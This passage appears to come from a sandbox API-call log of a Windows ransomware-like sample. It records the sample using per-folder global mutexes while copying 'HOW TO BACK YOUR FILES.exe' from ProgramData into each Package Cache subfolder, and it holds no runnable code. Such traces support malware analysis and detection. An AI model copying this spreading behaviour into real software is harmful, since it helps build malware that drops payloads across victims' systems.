ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.051] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.051] ReleaseMutex (hMutex=0xec) returned 1 [0103.051] CloseHandle (hObject=0xec) returned 1 [0103.051] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0103.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5263f8 | out: hHeap=0x4f0000) returned 1 [0103.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ac30 | out: hHeap=0x4f0000) returned 1 [0103.051] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 100 [0103.051] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6DB9B5765E475082589BE7CDFE8F0EB2") returned 0xec [0103.051] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.051] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" [0103.051] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.051] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.052] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.052] GetLastError () returned 0x0 [0103.052] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.053] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.053] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.053] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.053] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.053] lstrcpyW (in: lpString1=0x241e912, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.053] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.053] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.053] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.054] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xe26122a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe26122a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.054] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.054] ReleaseMutex (hMutex=0xec) returned 1 [0103.054] CloseHandle (hObject=0xec) returned 1 [0103.054] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0103.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9b0 | out: hHeap=0x4f0000) returned 1 [0103.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ac48 | out: hHeap=0x4f0000) returned 1 [0103.054] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 99 [0103.054] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5822070031E80C74159A5C4DB9221509") returned 0xec [0103.054] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.054] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" [0103.054] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.054] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.055] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.055] GetLastError () returned 0x0 [0103.055] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.056] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.056] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.056] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.056] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.056] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.056] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.056] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.056] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.057] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe26122a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe26122a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.057] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.058] ReleaseMutex (hMutex=0xec) returned 1 [0103.058] CloseHandle (hObject=0xec) returned 1 [0103.058] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0103.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52afa0 | out: hHeap=0x4f0000) returned 1 [0103.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ac60 | out: hHeap=0x4f0000) returned 1 [0103.058] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 99 [0103.058] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\225DE29BE2C630CD17A05C1C6F09B808") returned 0xec [0103.058] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.058] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0103.058] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.058] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.059] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.059] GetLastError () returned 0x0 [0103.059] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.060] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.060] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.060] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.060] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.060] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.060] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.061] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xe2638400, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2638400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.061] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.061] ReleaseMutex (hMutex=0xec) returned 1 [0103.061] CloseHandle (hObject=0xec) returned 1 [0103.061] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0103.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b070 | out: hHeap=0x4f0000) returned 1 [0103.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ac78 | out: hHeap=0x4f0000) returned 1 [0103.061] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 99 [0103.061] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F39A1ADF7D011008B24E39DBFF4AB629") returned 0xec [0103.061] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.061] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0103.061] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.061] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.062] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.062] GetLastError () returned 0x0 [0103.062] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.063] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.063] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bc8320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bc8320, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.063] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.063] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.063] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.063] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.063] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.063] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.064] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe2638400, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe2638400, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.064] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.064] ReleaseMutex (hMutex=0xec) returned 1 [0103.064] CloseHandle (hObject=0xec) returned 1 [0103.064] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0103.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b140 | out: hHeap=0x4f0000) returned 1 [0103.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ac90 | out: hHeap=0x4f0000) returned 1 [0103.064] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 99 [0103.064] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\57C01FD84D455A01E4D3A2AA48211E1A") returned 0xec [0103.064] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.064] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0103.064] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.064] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.065] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.065] GetLastError () returned 0x0 [0103.065] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.066] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.066] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4bee480, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4bee480, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.066] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.066] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.066] lstrcpyW (in: lpString1=0x241e910, lpString2="packages" | out: lpString1="packages") returned="packages" [0103.066] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0103.066] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0103.066] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.067] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xe265e560, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe265e560, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0103.067] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.067] ReleaseMutex (hMutex=0xec) returned 1 [0103.067] CloseHandle (hObject=0xec) returned 1 [0103.067] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="C:\\Documents and Settings\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0103.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51c288 | out: hHeap=0x4f0000) returned 1 [0103.067] HeapFree (in: 